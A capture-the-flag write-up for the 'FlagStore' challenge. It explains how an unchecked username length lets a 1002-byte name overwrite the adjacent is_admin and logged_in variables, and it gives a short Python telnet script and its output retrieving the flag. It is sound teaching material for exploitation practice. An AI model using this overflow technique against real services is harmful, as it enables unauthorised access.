Challenge:
FlagStore (exp70)
Description:
Here’s the ultimate flag store. Store and retrieve your flags whenever you want.
Attachment: exp70.zip
Service: 188.166.133.53:12157
Files: exp70.zip
Solution:
Running netcat against the target produced the following output:
Welcome to the FlagStore! Choose an action: > regiser: 1 > login: 2 > get_flag: 3 > store_flag: 4
Extracting the zip provides the source code for the service that’s running the FlagStore service.
Looking over the source, a few things jump out:
- Fixed size arrays for the username and password strings
- The login process limits user input to the array size, but the new user process does not
- The is_admin variable is only set at startup
- logged_in is only changed during startup and in the event of a good login
This seems ripe for a buffer overflow. Lets look at the variable declarations:
char username[500]; int is_admin = 0; char password[500]; int logged_in = 0; char flag[250];
We can place arbitrary values in is_admin by overflowing username. Any non-zero value in is_admin is good enough, we don’t need to be precise here.
My initial plan was to create a user with a 501 character username to set the is_admin flag, then create a regular user and log in with that second user to set the logged_in flag. That would be enough to retrieve the flag using option 3.
However, I realised while I was writing the script to do the exploit that there is no need to to log in at all. The check against logged_in will also pass with any non-zero value. Creating a user with a 1002 byte name will steamroller the entire stack, overwriting is_admin, password and logged_in.
Here’s the code:
import sys
from telnetlib import Telnet
tn = Telnet('188.166.133.53', 12157)
def main():
sys.stdout.write(tn.read_until("words we never see",0.5))
# Create a user with a huge username
# overwrites is_admin and logged_in with non-zero values
sendMsg('1') # Create User
sendMsg("A" * 1002) # Username
sendMsg("DontCare") # Password
# Ask for the flag
sendMsg('3')
tn.close()
def sendMsg(str):
tn.write(str+'\n')
print str
sys.stdout.write(tn.read_until("words we never see",0.5))
if __name__ == "__main__":
main()
And here’s the output:
Welcome to the FlagStore! Choose an action: > regiser: 1 > login: 2 > get_flag: 3 > store_flag: 4 1 Enter an username:AAAAAAAAAAAAAAAAAAAAAAAAAA...>snip< Enter a password:DontCare User AAAAA... successfully registered. You can login now! Choose an action: > regiser: 1 > login: 2 > get_flag: 3 > store_flag: 4 3 Your flag: IW{Y_U_NO_HAZ_FLAG}